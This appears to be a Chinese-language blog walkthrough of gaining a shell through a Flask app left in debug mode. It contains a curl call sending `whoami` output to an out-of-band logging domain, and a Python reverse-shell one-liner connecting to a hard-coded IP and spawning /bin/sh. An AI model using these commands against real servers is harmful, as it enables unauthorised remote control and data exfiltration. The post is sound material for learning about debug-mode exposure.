标签 Flask 下的文章

Flask 开启Debug模式直接getshell

开始

写一个最简单的基于Flask的Web应用,并开启调试模式

rom flask import Flask

app = Flask(__name__)

@app.route("/")
def hello():
    return Hello

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=True)

python hello.py 部署到linux下

利用

由于该网站的后端代码存在语法错误,在网站运行过程中,我们只要访问这个网站的根目录,就会执行hello()函数,由于其返回值未定义,存在语法问题,故抛出500错误,进入debug页面。

接下来就说一说,如何利用这个debug页面。

通过栈回溯信息可以看到,Python解释器及相关第三方模块的路径。

先说明一下Flask版本不同,高版本会弹出输入pin码,低版本只要开启debug模式直接进入交互模式(不是严格意义上的交互模式)。

最初我的想法是直接利用这个交互式shell,导入os模块,执行系统命令。当我执行ls命令,试图让其返回当前目录下的文件列表时,奈何只返回了一个数字0。竟然没有返回值!所以只能说是shell,还够不上交互。

我输入的代码os.system('ls')只返回了一个数字0,通过os.system()调用nc反弹shell也不能成功。走到这里,我是有一个疑问的,我输入的python代码是否成功执行?是不是因为设置了Python沙盒,禁用了某些函数。

由于获取不到返回内容,并不能确定python代码是否成功执行,也不能确定当前权限哪些系统命令可以执行,哪些不能执行。当然,靠猜的话,那就没啥意思了,万事都要讲究个逻辑。

便想着curl下自己的站点,观察访问日志(如果最后shell反弹不成功的话,通过这种方式也可以获取到命令执行的返回值)。

>>> os.system("curl http://m5ap34.ceye.io/`whoami`")
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}0

CEYE平台收到记录

由此可见,os.system()函数没有被禁用,于是尝试反弹shell

反弹shell

nc -vvlp 6650

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.206.155.221",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

GetShell

preView